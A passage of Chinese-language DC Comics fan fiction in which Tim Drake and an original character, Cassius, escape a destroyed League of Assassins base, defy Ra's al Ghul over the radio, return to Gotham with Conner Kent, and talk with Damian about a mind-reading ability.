漫游者闻言，像是听到了什麽极其滑稽的笑话，她的红唇勾起一个冰冷的弧度，眼神凉凉地从白幽灵身上扫过，饶有兴味的打量了一眼被护在身后的卡修斯，然后将视线落在持棍挡在卡修斯面前的红罗宾身上。 “怒火？”她嗤笑一声，明明在说话，但眼神却根本没有看向白幽灵，而是始终看着刚才和自己谈合作的年轻人以及护在他身前的制服青年身上，“你是不是搞错了什麽？这片废墟可不是我们的杰作。” 她抬起手，纤细的手指带着一种处尊养优的文雅，让人根本无法想象，这双手如同死神的镰刀，在漫长的岁月里，不知道收割了多少人的性命。现在，她的手指正指着卡修斯：“是他，哦，当然，还有他前面站的这个年轻人，叫什麽来着？红罗宾？是他们亲手点燃了埋在刺客联盟心脏的引信。” 白幽灵和他身后幸存的刺客们如遭雷击，目光齐刷刷钉在卡修斯身上，连普鲁都猛地抬起头，震惊的看向提姆。 刺客们是很难相信，这位哈莱姆在基地里风头无两，受尽宠爱，为什麽要做这种背叛主人的事。白幽灵则想的是，主人给了红罗宾发源地的最高权限，在他看来，这简直是无上的荣耀。当初特派员说红罗宾不可信任，最好尽快杀了，他还为对方说过话。他怎麽敢辜负这份信任，背叛联盟和主人的这份信任？ “不可能！”白幽灵不能接受主人和他都看错了人这个事实，对着漫游者咆哮道：“你休想挑拨离间！” “挑拨？”漫游者几乎笑出了眼泪，她用满意的眼神看着白幽灵的反应，继续说，“需要吗？要不你自己问问他们呢？哦，对了……” 漫游者故意像是忽然才想起来似的，眼神越过提姆看向卡修斯，表情更加愉悦，“在这儿坐镇的那位‘恶魔之首’，也是他亲手杀的呢。我的杀手们都没来得及动手。” 白幽灵原本就看不出什麽血色的脸上瞬间跟糊了石灰似的，变得青灰：“胡说八道！” 主人才不可能被轻易杀死，几分钟之前，他还在通信器里为主人汇报了目前的状况。 “不过你不用担心，你们的主人没那麽容易死。要不是这位提醒我，我们也绝对想不到，这个恶魔之首居然是个替身。如果我们知道的话，也不用派这麽多精锐的杀手来这儿了。不过嘛，现在也不算亏，毕竟这出大戏实在是太精彩了。”漫游者继续轻飘飘的说着。 她的语气里充满了对拉尔斯贪生怕死的鄙夷。 白幽灵也对发源地的首领居然不是真正的主人感到震惊，但他对拉尔斯是绝对的忠诚和信任，就算知道了真相，也觉得主人是运筹帷幄，思虑周全。比如说现在，不就避免了一次凶险的刺杀吗？ 直到漫游者说完，卡修斯都没提出反驳，白幽灵转头看向他，愤怒地质问：“主人那麽宠爱你，给了你至高无上的尊荣，你居然敢背叛？她说的是不是真的？！” 在跟着红罗宾这两天，他都听够了特派员的抱怨，到后来都懒得接对方的通信。主要是不想听到主人居然把这麽个低贱的东西宠爱的这种程度。自己为主人尽心尽力服务这麽多年，也不敢如此造次。这让他心里产生一种微妙的嫉妒。 其实在刚才，卡修斯就感觉到自己的脖颈处，也就是被项圈覆盖的地方，像是被马蜂蛰了似的一阵刺痛。他立即意识到，一定是拉尔斯远程开启了项圈中的毒药。 他的脑子懵了一瞬。 一直以为他应该对拉尔斯还有用，对方不会轻易使用项圈里面的毒药，现在看起来，自己可能过于高估自己的重要程度了。 当然，也有可能拉尔斯这一次是真的被气疯了。 他感觉到自己的心跳加速了，也不知道这是不是中毒的症状。 不过既然拉尔斯都对他用了毒药，他也没什麽好遮掩的，难道死之前还要跪地求饶吗？ 卡修斯甩了甩袖剑上早已干涸的暗褐色血块，迎着白幽灵几乎要杀人的目光，冷笑着嘲讽：“是又怎麽样？” 他顿了顿，声音陡然拔高，脸上也勾起一个恶劣的笑容：“你们脑子里装的都是狗屎吗？还宠爱，要不是他忌惮我当众揭穿他是个冒牌货，影响拉尔斯在你们这群制杖心中形象……哦，对了，还有就是他太怕死了，怕被拉尔斯知道自己穿了帮，死的太惨，他能这麽任我摆布？这不是宠爱，这是我凭借自己的聪明才智赚来的，我应得的。和那个老不死的没有任何关系！” 他说的每个字都跟淬毒的冰锥似的，狠狠扎进白幽灵和他身后那些忠诚刺客的心脏。 白幽灵能感受到身后这些幸存者们确实被卡修斯这番话影响了。 他们之所以拼死抵抗，正是因为知道他们的主人还坐镇在发源地。这给了他们无限的勇气和希望。现在才告诉他们，发源地那个人竟然是假的？那他们死掉的那麽多同伴，究竟是为什麽而死的？ 白幽灵显然比他们的觉悟多了，他再次高声怒喝：“住嘴！你竟敢如此侮辱践踏主人的威严！” 说着，白幽灵猛地扭头：“普鲁！给我杀了他们两个！主人被污损的尊严必须由他们的血来清洗！” 然后，女刺客站在原地纹丝未动。她甚至没去关注白幽灵那张因为愤怒而扭曲的脸。他的目光落在红罗宾的脸上，仿佛要透过他的护目镜，看清他的眼神。 “普鲁！你聋了吗？”白幽灵目眦欲裂，“你也想背叛主人？” “我接到的最后一个来自主人的命令是配合红罗宾，听从他的调遣。”普鲁终于抬眼看向他，她的眼神非常平静，“现在主人并未下达新的指令——要求我攻击或者杀死红罗宾以及他的同伴。在得到主人新的指令前，我不会执行任何可能导致盟友相残的行动。” “盟友？你是聋了还是脑子有问题？他们炸了发源地，还杀了主人的替身！”白幽灵指着卡修斯，愤怒到面容狰狞，“他们是叛徒！是敌人！还需要什麽狗屁指令？不要为你的软弱找借口！” 他身后幸存的刺客们握紧了武器，眼神在普鲁，卡修斯和白幽灵之间惊疑不定地游移，显然普鲁的态度动摇了他们。 卡修斯上前一步，与提姆并肩而立，他冰冷的目光扫过白幽灵和他身后那几个刺客，冷漠道：“我说，别太把自己当回事了。当初拉尔斯以一个毫无威胁的女孩为人质，胁迫俘虏我们的时候，我们不是也没有选择的余地？现在发源地都灰飞烟灭了，你们这点残兵败将……” 他嗤笑一声，举起的袖剑在火光下闪过一道寒芒：“杀的了我们吗？白幽灵，别叫的那麽欢，实在不行的话，你自己上吧。” 他的声音陡然转厉：“识相的就给我滚开，我可不是义警，有什麽不杀原则。谁挡我的路，我就送谁去和特派员作伴。” 他刻意加重了“特派员”三个字，目光扫过白幽灵身后，满意地看到那几个脸上瞬间掠过的恐惧。显然，这几个都见过特派员身上爬满蜘蛛的可怕景象。 白幽灵身后的刺客们下意识后退了半步，握着武器的手松了又紧，眼神里充满了挣扎和退缩。普鲁的率先离去，哈莱姆的死亡威胁，原本誓死效忠的保护的主人被证明只是个替身，以及眼前这片象征着刺客联盟心脏彻底毁灭的冲天烈焰，这一切都像冰冷的潮水，浇熄了他们最后一点战斗的勇气。 白幽灵当然感受到了身后刺客的退缩，他气得浑身发抖。放在以前，他早就下令将这些软弱的家夥都杀了，但现在，他只能愤恨的注视着卡修斯和提姆，可嘴里再也发不出什麽有力的命令。 他清楚，如果再执意让这些已经丧失斗志的杀手们去拼杀，只有两个结果，要麽是这刺客如同普鲁一样，违抗自己的命令，自行离开，要麽是不情不愿的冲锋，然后白白送死。 经过这一遭，刺客联盟的有生力量损失惨重，即便这些刺客们现在让白幽灵恨不得处决，他也清楚不能再白白放他们去送死了。 “走！”看到白幽灵他们不再有动作，而蜘蛛议会的人始终在一旁抱着看好戏的心态，也没有出手的意图，红罗宾宕机立断地决定撤退。 卡修斯顺势跟上，两人将惊魂未定，但还是努力保持镇定的塔姆护在中间，朝着远处沙丘边缘那架停的歪斜的直升机狂奔而去。 “叛徒！恶魔之首不会放过你们的！你们会在地狱的业火里哀嚎一千年！”白幽灵徒劳地对着他们狂奔的背影发出最恶毒的诅咒。他的声音被风沙撕碎，听上去非常苍白。 卡修斯三人充耳不闻这软弱无力的威胁，提姆动作利落地拉开直升机舱门，先将塔姆塞了进去，紧接着自己也翻身跃入驾驶座。卡修斯最后一个跳进去，他反手重重关上舱门。在关门前，还伸手对白幽灵做了个国际通用的侮辱手势。 螺旋桨卷起的狂风裹挟着沙砾和热浪。三人戴好降噪耳机，“我们回家。”提姆的声音透过通信器传来。 引擎发出吃力的咆哮，直升机机身震颤着脱离沙丘，缓缓升空。 就在这时，一道轻微的，带着金属质感的电流杂音突兀地在三人耳机里响起。这声音混杂在引擎的轰鸣声中几乎难以察觉，却像一根针似的刺痛了三人原本就高度紧张的神经。 紧接着，一个低沉平稳，却蕴含着压抑怒火的熟悉声音传入三人的耳朵里。 “提姆·德雷克……还有，卡修斯·希尔。” 塔姆颤抖了一下，紧张地抓紧了自己的衣物，提姆握着操纵杆的手也不自觉的更加用力。只有卡修斯，一边疑惑他到底被注入了什麽毒药，怎麽还没反应，一边想到，这好像是第一次听拉尔斯叫自己的全名。这怎麽不算是某种程度上的成功呢？ “你们两个……”拉尔斯的声音不徐不疾，但每个字仿佛都带着冷气，“真是一次次让我感到……惊讶。” 他像是在斟酌用词，“惊讶”一词被他念得意味深长，听不出是赞许还是嘲讽。 “侦探，你背叛我的信任，利用我给你的权限，炸毁我的发源地。” “我们之间不存在什麽信任关系，所以也谈不上背叛。”提姆淡淡地说。他也注意到了，拉尔斯开始用“侦探”来称呼他，在此之前，他只这样称呼过蝙蝠侠。所以提姆居然还有点诡异的高兴。 但拉尔斯没有接话，而是自顾自地继续说下去：“卡修斯，我亲爱的孩子。而你，居然敢胁迫我的替身，最后还毫无俱意的杀死他……这份胆魄，连我都不得不侧目。” 卡修斯冷笑一声，机舱内的空气瞬间降至冰点。 “很好，你们既然敢做出这种事，”拉尔斯继续缓缓说着，他的语速很慢，像是在故意制造压迫感，“那麽，想必也做好了接受我报复的准备。” “报复”两个字被他刻意加重，带着令人毛骨悚然的决心。 卡修斯严重压抑的怒火和憎恨如同火山般喷发。他非但没有丝毫恐惧，反而咧嘴笑了，露出一口在烟灰映衬下显得格外森白的牙齿。 他也学着拉尔斯的样子，将语速放慢，一个字一个字地说：“报复？你以为我会怕吗？对了，那个项圈，你不是已经启动了，怎麽？你的毒药是不是过期了？” 提姆猛地转过头看着卡修斯，眼里充满了担忧，但卡修斯安抚似的摸了摸他的后颈，像是在告诉他，没关系。 “这确实值得研究，别着急，我会抓到你……你们的。”拉尔斯在耳机里说。 “呵……”卡修斯又冷笑一声，“狠话谁不会说？老东西，我们东方有句古话，叫做‘老而不死是为贼’，你活的太久了，洗干净脖子等着吧！” 说罢，提姆非常配合地，没有再给拉尔斯说话的机会，直接切断了直升机的外部通信。 飞机里的三人都没再说话，他们齐齐看着窗外，直升机朝着被黑色笼罩的天际线义无反顾地冲去。 “我要亲手杀了他。”卡修斯坐在机舱内，喃喃地说。 已经摘掉头罩的提姆侧头看了他一眼。 “你会阻止我吗？”卡修斯问。 “去做任何你想做的事，”提姆回答，“我会帮你达成所愿。” 卡修斯笑了，他直起身，揉了揉提姆被汗水和灰尘浸湿的黑发：“好乖啊，提宝，我最喜欢你啦。” 第100章 他对你有点超越友谊的占有欲 “别闹。”提姆甩了甩头，企图将自己头顶那只作怪的手甩掉。 卡修斯看着他微微泛红的耳根，终于起了些久违的玩心，他又伸出另外一只罪恶的手，直接将提姆原本还算整齐，就是被头罩压的有些贴头皮的头发揉成了鸡窝。 提姆见甩不掉，只能随他去了。 三人连日来的紧张和焦灼都随着卡修斯的玩心慢慢散去，连塔姆都忍不住笑出了声。 “爸爸让我找到你，带你回哥谭，感觉我好像什麽也没做，反而拖累了你们。”塔姆说。 “怎麽会？不要妄自菲薄。”提姆开口道。 塔姆透过直升机的舷窗往后看，身后那片困住他们好多天，一度让塔姆以为自己可能会死在那里的可怕建筑已经彻底被摧毁，从天上看过去，甚至能看到那些建筑的断壁残垣正在被流沙吞噬。 从她这个角度看过去，这个巨大的流沙漩涡和陷在中间的废墟好像一只愤怒的眼睛，正死死盯着他们这架越飞越远的直升机。 塔姆被自己糟糕的联想吓了一跳，赶忙回过头，不再去看身后。 这趟充满危险的旅途是她前19年人生里从未设想过的生活，她将目光再次投向穿着制服的提姆·德雷克-韦恩，心中已经对哥谭那位黑暗骑士的真正身份有了答案。 但和她的父亲一样，她相信自己会把这个答案带入坟墓。 当下有个更重要的问题她想要弄清楚。 “提姆，从这儿到哥谭，我们需要飞多久？”塔姆问。 虽然她目前的身份还是韦恩集团的实习生，但她的实习岗位也是总裁助理，专业使然，她对这些细节问题非常在意。 提姆想了想，说：“这架直升机正常飞的话，至少要40个小时左右。” 塔姆的表情顿时垮了下来，卡修斯的神情也变得严肃起来。 自从来到这个癫狂的世界，卡修斯感觉自己基本和正常的物理知识告别了，所以刚才也完全没有意识到直升机续航这个重要的问题。 这种直升机可不像固定翼的战斗机，这麽远的距离，中途加油补给至少也要停下来好几次，他们能每次都顺利得到补给吗？ 这样想着，他就问了出来：“难道你已经安排好补给点了？” 也许自己和塔姆的担忧都是多余的，毕竟对方是最像蝙蝠侠的罗宾，应该会有备用计划？ 果然，提姆的嘴角勾起一个极淡的，带着点安抚意味的弧度回答道：“放心吧，我们有‘备用能源’。” 听他这麽说，卡修斯暗暗松了口气，好奇道：“备用能源？你该不会在这玩意后面还偷偷挂了个副油箱吧？” 提姆没有直接回答，而是微微提高了声音，对着通信器清晰地说：“康纳，我们脱离危险局域了，可以出来了，帮我们提提速。” 话音刚落，卡修斯只感觉机身猛地一震——并非失控的颠簸，而是一种仿佛被无形的力量稳稳托住，向上抬升的感觉。 紧接着，直升机前进的速度骤然加快，引擎的轰鸣声好像都轻松了不少，原本在高空气流中的震颤也明显减弱。 卡修斯和塔姆一同惊讶地看向窗外。一个穿着黑色T恤，但胸前也印着超人家标志性S型盾徽的年轻人飞上来，悬浮在和直升机悬窗平齐的地方，伸手和他们打招呼。 他和卡修斯见过的超人长得非常像，要说有什麽不同的话，就是人看上去非常年轻，看到他，就好像看到了十几岁时的超人。 这个少年版的超人脸上正带着令人头晕目眩的英俊笑容。 “这是……”卡修斯难得地有些语塞，他指着窗外的身影，又看着提姆，“超级小子？他什麽时候回来的？” “你一直都很肯定，他一定会回来。”提姆的声音带着一种失而复得的喜悦，他看着卡修斯，眼神里有种他看不懂的感激，“在去查找布鲁斯还活着的线索的路上。康纳……他回来了，找到了我。” 他顿了顿，语气中带着一丝歉意：“只是当时你还在瞭望塔昏迷着，我的心思又全在找布鲁斯这件事上，根本没时间感受重逢的喜悦。后来，你在巴格达找到我后，事情一件接着一件，紧张得没有片刻喘息，所以一直没找到合适的机会告诉你这个消息。” 他操控着直升机的方向，让康纳的TTK能更顺畅地引导飞行高度和速度，继续说道：“等我们安全回到哥谭，我会正式介绍你们认识。康纳是我在泰坦里最好的朋友。”提姆的目光落在卡修斯脸上，认真而郑重，“而你，现在也是我非常重要的人。” 塔姆看了看提姆，又看看卡修斯，感觉提姆真的没拿自己当外人，才这麽一会儿，好像已经知道了很多不得了的事情。 只是现在她好像不应该在飞机里，而应该和超级小子一样，在直升机底下…… 吃瓜真的是人类的天性，就算是塔姆这样未来的职业精英也不能免俗，她尽量缩小自己的存在感，好让提姆和卡修斯能更加自由的表达。 卡修斯看着窗外那个打完招呼就飞走的身影（根据猜测，超级小子现在应该在直升机底部，好更准确的控制他的TTK。），又看向身边驾驶座上青年眼中那份真挚的暖意，心里有了一丝复杂的了然。 他想起自己和提姆初识的时候，就用康纳还活着的信息作为“筹码”来和提姆进行交易。 现在回想起来，居然有种恍如隔世的感觉。 卡修斯忽然笑了出来，虽然有些刻意，但确实是充满了纯粹的喜悦：“太好了。” 他用力拍了拍提姆的肩膀，诚恳的说：“恭喜你，提姆，这绝对是我最近听到的最好的消息。比炸了发源地还开心！” 他是真心为提姆感到高兴。他知道提姆因为失去康纳有多痛苦，所以也明白此刻失而复得对他来说有多重要。 只是不知道为什麽，他心里有种说不上来的失落。 他也搞不明白，明明是一件值得开心的事，他到底在莫名其妙的失落什麽劲。 不过卡修斯从来不是个喜欢内耗的人，很快，他就把这点负面情绪抛到了脑后。 有了康纳这个“人形引擎”的强力助推，原本漫长的归途变得高效而平稳。直升机冲上它原本不可能爬升的高度，朝着哥谭的方向坚定前行，机舱内，除了飞机螺旋桨旋转的巨大轰鸣声之外，渐渐没人再说话，连日来没怎麽好好休息过的塔姆这会儿也安心地闭目养神。 然而，卡修斯很快注意到，提姆的目光依旧会时不时地落在自己身上。即使是在和康纳进行必要的飞行通信协调时，那视线也如同实质，带着关切，以及一种卡修斯暂时无法解读的情绪。 本来他想假装没注意到的，但他的目光欲言又止的太直白了，连原本闭目养神的塔姆都被惊动，时不时地用手肘撞一下自己，示意自己快主动询问一下。 在再一次两人四目相对的时候，卡修斯无奈地打破这份注视：“嘿，提姆长官，有话直说好吗？” 又是怀念读心术的一天，要是他能听到提姆心里在想什麽就好了。 话说回来，自从离开了哥谭，这个奇怪的“超能力”好像也很久没有显现过了？发源地那麽大个反派营地，自己居然没有听到过任何一个人的心声，这合理吗？ 就在卡修斯感到疑惑的时候，提姆终于开口问道：“你还好吗？” 卡修斯被他问的莫名其妙。 “当然。” “当然好还是当然不好？” 卡修斯无语地看着他：“当然是好啊，我们重创了刺客联盟，你也得到了布鲁斯还活着的更多线索，现在我们正在回家的路上，连你最重要的朋友也失而复得，一切都很完美。” 提姆点头：“的确是这样，但是我觉得你好像并不是特别开心。” 卡修斯吓了一跳，瞪着他说：“你不要瞎说。” 这小子该不会和他肚子里的蛔虫有特殊的交流方式吧？连他自己都搞不明白的低落都能看出来？ 提姆看了他一眼，那眼神像是在说：不要怀疑我侦探的能力。 卡修斯只好说：“我真的很好，脖子上的‘狗链’暂时没有要我的命，骨头也没散架，除了可能需要好好洗个澡去掉这身沙子和焦灰味道。你能不能专心开你的飞机，或者欣赏一下外面酷炫的超级小子？不要把注意力放在我身上了。” 提姆的目光没有立刻移开，他沉默了几秒，才缓缓开口道：“你还记得我之前对你说的一件事吗？” “你跟我说过好多件事，请问具体指哪一件？”卡修斯无语道，“能不能直说？这麽遮遮掩掩的，是把阿卡姆的谜语人吃了吗？” 提姆嘴唇弯了弯：“算了，等我们安全回到哥谭，一切尘埃落定，我们再说。” 卡修斯的好奇心瞬间被点燃，心里像是突然住了个毛茸茸似的痒痒的：“为什麽现在不能说啊？你知不知道这样话说一半很容易挨揍？” 提姆反而嗔怪似的看了他一眼：“是你自己先想不起来的。要挨打也是我先打你。” 卡修斯：……青天大老爷，什麽时候连红罗宾也学会了无理取闹，倒打一耙？这不是他在发源地巩固“宠妃”人设时的拿手好戏麽？提姆是什麽时候偷师学走的？ 卡修斯为了哄他高兴，特地猜了几条，都被否定了，而且他越猜，好像提姆对他的怨念越重。卡修斯放弃了，索性学着塔姆，闭上眼睛开始养精蓄锐。 既然提姆现在不说，肯定不是什麽特别重要紧急的事情，那就等他想说的时候再说吧。 他可知道，回到哥谭并不是结束，拉尔斯那个老东西还在哥谭磨刀霍霍地铆足了劲准备报复他们呢。 有了氪星人的加持就是不一样，几个小时后，直升机就已经靠近了哥谭边缘。又过了一会儿，一行人终于降落在了韦恩集团楼顶的私人停机坪上。 卡修斯第一个打开舱门跳下飞机，一下去，就深深吸了一口气。 一股熟悉的，哥谭特有的潮湿和掺杂着淡淡硝烟味道的空气扑面而来。卡修斯忍不住感慨：“啧，虽然这里的空气质量依旧糟糕透顶，但比沙漠里吃沙子强多了。咦，我居然还有点想念这里了。” 谁能想到，有一天“回到哥谭”居然也能让他产生一种归乡的感觉。 提前接到消息的卢修斯早已在楼顶等候，看着女儿安然无恙地走出机舱，这位一向沉稳的老人忍不住眼眶有些泛红。 塔姆也叫了一声“爸爸”，几步冲上去，父女两紧紧拥抱在一起。 不过这位老人很快克制住了情绪的宣泄，松开女儿，看着提姆说：“韦恩先生，您终于回来了，因为事态比较紧急，我们还是直接移步去楼下的会议室吧？” 提姆点头说好，但还是温声请卢修斯先去会议室等他，他五分钟后就到。 卢修斯揽着女儿的肩膀，视线在提姆身边的卡修斯和……康纳身上短暂的停留了一下，随后点了点头，带着塔姆先行离开了。 提姆转身，看向已经准备好离开的卡修斯和站姿轻盈，始终注视着他的康纳。 几秒钟后，他和康纳也来了一个久违的拥抱。 卡修斯站在一旁，感觉自己的存在好像很破坏这种久别重逢的感人场面。他缓缓移动脚步，准备不惊动任何人的离开，结果提姆叫住了他：“卡修斯。” 卡修斯：…… 他任由刚结束拥抱的提姆拉着自己重新站在他身边，然后听他说，“正是介绍一下，康纳·肯特，超级小子，我最好的朋友。” 接着他又转向康纳，眼神温暖而认真：“康，这是卡修斯·希尔，是你不在的这段时间里，我遇到的另一个对我非常重要的人。” 他用了和直升机上相同的措辞，但语气更加坚定了。 康纳那和超人如出一辙的湛蓝眼睛里充满了友善和好奇，他主动伸出手：“你好，卡修斯，其实和提姆重逢的第一天，他就向我提起过你。谢谢你在他身边，也谢谢你……在提姆最艰难的时候给了他希望。” 卡修斯伸出手，礼貌的回应了他的谢意，但不知为什麽，被康纳这样感谢，有种说不出来的疏离感，好像自己和提姆的关系一下子变得远了不少。 康纳有些困惑的看着他：“怎麽会？在提姆心里，目前你可是比我还重要的人。” 超级小子直接接话道。 卡修斯：！ “你……” 他不好意思的挠了挠头发：“我是不是不应该擅自回应你的心里话？我还以为这是你的超能力呢……” 卡修斯再次无语。 看来这个一点用都没有，只会暴露自己隐私的读心术并没有像自己想的那样，莫名其妙的消失。 “下次我会注意一下，主动阻隔听到你心里话的。”康纳听到卡修斯心中的无奈，主动保证道。 这下卡修斯是真的惊讶了：“你还能主动阻隔这个？” 康纳点了点头：“嗯，我的TTK可以做到。” “是只阻断你听到我的心声，还是阻断所有人听到我的心声？”卡修斯马上问道。 康纳已经从他的心声中知道，好像所有的超级英雄都能听到卡修斯的心声，代入一下自己，好像确实挺没有安全感的，顿时对他充满了同情，说道：“如果你想的话，只要我在你附近，就能帮你阻隔所有人听到你的心声。” 卡修斯看着康纳的眼神立即热切起来。 “我有一个不成熟的想法……” 卡修斯开口道。 提姆立即打断他：“不，你不想。” 康纳闷声笑了起来。 卡修斯无语极了：“我还没说是什麽想法呢！” “你不说我都知道你在想什麽，无非就是让康纳和你住在一起或者你去跟康纳做室友。” 还真被他给猜中了。 “我们俩不都是你最重要的人吗？住在一起有什麽不好？”卡修斯据理力争。 “我说不行就不行！” 康纳终于忍不住大笑出声。 “小罗就是这麽霸道的人啦，我都已经习惯了，难道你还不知道吗？”他一边笑一边说，“怎麽办，本来我还有点不高兴你抢走了小罗，但现在竟然有点喜欢你了。” 提姆马上说：“住脑，只有我能喜欢他，你别跟我抢。” 康纳朝卡修斯耸了耸肩：“看到没，小罗真的很霸道。” 气氛一下子轻松起来，提姆看着卡修斯，眼里是毫不避讳的喜爱，他对康纳说：“卡修斯可没有‘抢走’我，是我不由自主受他吸引，他就像是我的幸运星。” 卡修斯想要冲过去捂住他的嘴，阻止提姆再次干出当着别人的面对他表白这种羞耻度爆表的事情。 但奇怪的是，他整个人像是被粘在了原地似的，完全动不了。 康纳笑着看了他一眼，非常想吃这口新鲜的瓜，配合地问道：“怎麽说？” 卡修斯看出来了，这大概就是超级小子的超能力，能隔空控制。 这个世界的牛顿是不是根本不曾存在过啊？！ “自从遇到他之后，那些我以为不会得到的，或者永远失去的事或者人，就一件接一件的回来了。” 他伸出手，轻轻搭在卡修斯的肩上：“我和布鲁斯之间无形的隔阂好像消失了，我最喜欢的罗宾，奇迹般地复活了，斯蒂芬妮……虽然我也生过她的气，气她假死害我伤心那麽久，但我还是感谢上苍，让她活着。现在，康纳也回到了我的身边。” 他看着卡修斯，眼神专注而温柔：“这一切，都让我觉得，命运似乎终于开始眷顾我了，而这份眷顾的起点，是你。” “天呐，我以前可从没想过，小罗会这麽直白的向某个人袒露自己的内心！”康纳感慨，“有点感动。” 卡修斯听着提姆的话，看着他眼中闪烁的光芒，本来应该像康纳说的那样，有点感动的。 但现在他不敢动，完全不敢动。 看着提姆和康纳之间那种无需言说、一个眼神一个动作就能心领神会的深厚默契与亲密，心中那股在直升机上就隐约浮现的失落感，此刻如同潮水般无声地蔓延开来。 如果自己真的是提姆所说的照亮他世界的“幸运星”，那麽这些失而复得的珍宝正在理所当然地填满他那个“被幸运星照亮的”空间。 卡修斯脸上依旧维持着轻松调侃的笑容，只是那笑意深处，藏着一丝自己都不太明了的晦涩。 “别肉麻了。”接着他看向康纳：“可以松开我了吧？” 话音刚落，他就感觉到身体的自主权又回来了。 “这些都是必然会发生的事，其实跟我没什麽关系。好了，叙旧时间结束，卢修斯这麽急着找你，一定是有非常重要的事，你赶紧去找他吧。我也得回店里去看看了，这麽久没开张，家里大概灰都积了三尺厚，我的那些占卜工具太久没沾人气，可能都要失灵了。” 他转身欲走，步伐带着些不易察觉的匆忙。 “等一下。”提姆叫住他，然后抓着康纳一块儿过去，“你脖子上的东西，让康纳帮你取下来吧。我得把它拿到蝙蝠洞去化验，看看能不能从残留物中检测出拉尔斯到底对你用了什麽药。” 这倒是一件挺要紧的事。 卡修斯扬起头，眨眼间，就听到“咔嗒”一声。 提姆及时伸手，从他脖颈处接过项圈。 “你千万小心，有任何异常，及时联系我，或者直接去韦恩庄园。”提姆再一次叮嘱道。 “知道了，啰嗦的小鸟。”卡修斯头也不回地摆摆手，迅速消失在了顶层的安全出口后。 剩下提姆和康纳两人在楼顶站了一会儿，最终，提姆还是忍不住问：“你知道……他心里在想些什麽吗？” “你听不到他的心声？”康纳惊讶的问。 提姆点了点头：“是啊。” 康纳不知道怎麽安慰他，只能说：“那你对他来说应该还算挺特别的？” 提姆白了他一眼：“还用你说？” 康纳想了想刚才听到的，卡修斯内心的想法，斟酌了一下用词，才说道：“他可能……有点吃醋了？” 提姆一脸惊讶：“什麽？” 康纳摊手道：“我也不知道，反正他心里就是这麽想的，我觉得他好像对你有点超越友谊的占有欲……” 提姆突然笑了：“真的吗？” 康纳看着他：“你这是什麽反应？” 提姆望着那扇早已经看不到人影的门，轻声说：“太好了。” 康纳：完了，小罗疯了。【你现在阅读的是 】 100-107 第101章 任何偶然，都是必然。 命运纺车占卜店的门完好无损，但卡修斯推门进去的瞬间，一股混合着陈旧纸张、灰尘、以及前两天经常闻到的，独特熏香基底的味道在空气中弥散。他反手无声地关上门，手指轻按，小臂上的袖剑“咔嗒”一声再次轻声弹出。 “你的警惕性有待加强，直到进门才察觉出异样，如果是敌人，这会儿你大概已经失去了先机。” 一个刻意压低嗓音，故作成熟，但依旧难掩童音的傲慢声音从橱窗旁边厚重的窗帘遮盖的角落传来。 卡修斯松了口气，瞬间放松下来。 他用袖剑挑开窗帘，看着正穿着罗宾装束的达米安说：“你来这儿就是为了检验我的警惕性吗？” 因为性格使然，现任罗宾的脸上总是摆着不高兴的表情，此刻他正用非常不高兴的神情看着卡修斯。 “既然回了哥谭，为什麽不先来找我？” 卡修斯一脸莫名其妙的看着他。不知道其中的逻辑是什麽。 罗宾生气的说：“难道你忘了自己的身份吗？” 卡修斯现在一听到“自己的身份”这个词就条件反射的想起自己在发源地的遭遇——在那里，他可时刻记得自己是拉尔斯的哈莱姆。 罗宾故作严肃的表情差点绷不住：“你说什麽？祖父怎麽可能让你做他的哈莱姆！” 卡修斯：…… 差点忘了，自从达米安正式成为罗宾，他也能听到自己的心声了。 “这你大概要去问拉……你的祖父。”卡修斯说。 他现在就在哥谭，他如果真的把你当乖孙的话，肯定早就来看你了，也不会缩到现在都不露面。 他在心里想。 多米诺面具后，达米安的眉毛再次竖了起来：“祖父在哥谭？不可能！” 卡修斯已经对义警们擅自跟他的内心世界对话这件事不想再发表任何意见了，毕竟他有意见也没用。目前唯一的解决办法好像就是搬去跟康纳一块儿住。 他看着罗宾说：“我记得在回程的途中，红罗宾已经把我们在发源地的遭遇大致和蝙蝠侠汇报了，他没跟你说吗？” 达米安的脸色变得难看起来：“哼！” 他从鼻子里哼出了声。 看来是真没告诉他。这就有点尴尬了，让他说的上一句话听上去有点像是在挑拨离间。 “我和蝙蝠侠的关系才不会被轻易离间！你想太多了。还有，那个克隆人什麽时候复活的？你为什麽要搬去跟他一块儿住？我不允许！” 卡修斯无奈的看着他：“罗宾，我能给你提个小小的意见吗？” 达米安看着他，用鼻孔示意他有话快说。 “你口中的那个‘克隆人’是红罗宾非常看重的朋友，他叫康纳·肯特。或者你也可以叫他超级小子，被克隆不是他自己选择的出身。如果你当着他或者红罗宾的面还这麽叫他，会让红罗宾非常为难。” 卡修斯知道达米安曾经的生活并没有教他怎样去尊重别人，韦恩庄园的人作为他的家人可以包容他，慢慢教导他，但其他人没有义务这样做。 无论如何，他还是希望达米安能更好的融入除了他的家人之外的社交关系。 达米安皱眉看了他一会儿，最后才不情愿的说：“我知道了。但我不会叫他超级小子的，我心里的超级小子是乔。” 这回惊讶的反而是卡修斯了，他是真没想到达米安居然变得这麽听劝，一时间都想确认一下他是不是被什麽奇怪的人魂穿了。 达米安：“你心里不要想那些奇奇怪怪的东西，我才不会像你一样。” 卡修斯：？ 什麽意思？ 但达米安好像没听到他心里这句话似的，将重点转移到另一件事上：“你们在发源地到底做了什麽？” 问完，他就盯着卡修斯，好像就在等着他的心声不受控制的告诉他想知道的事。 当然，他也算是小小得逞了一下。 因为他问的下一秒，卡修斯就条件反射的在心里回答了这个问题。 当然是把拉尔斯的老巢还有他分部在其他地方的分巢给炸了。 达米安震惊的看着他。 “祖父不会放过你们的。如果他现在就在哥谭的话，一定会第一时间报复你们。”他说。 “我们知道啊，所以第一时间回到哥谭了。”说完，他看了达米安一眼，说道，“我说少主，能不要再诱供我了吗？我真的不想面对蝙蝠侠不赞同的目光。” 即便这个不赞同的目光是夜翼版也婉拒。 “以后不要再叫我少主了，我是罗宾。”达米安说。 卡修斯挑了挑眉，看来他是真的放弃当未来的地球球长这个中二的愿望了。 罗宾瞪了他一眼，替他安排道：“祖父的报复从没有落空过。既然这样，安全起见，你最好还是住在韦恩庄园，那里的安保规格是最高的，即便是祖父的精锐刺客，也很难突破。” “不。”卡修斯摇头拒绝了他。 “为什麽？难道你觉得蝙蝠侠和我没办法保证你的安全吗？”罗宾提高声音质问道。 卡修斯有自己的考虑。 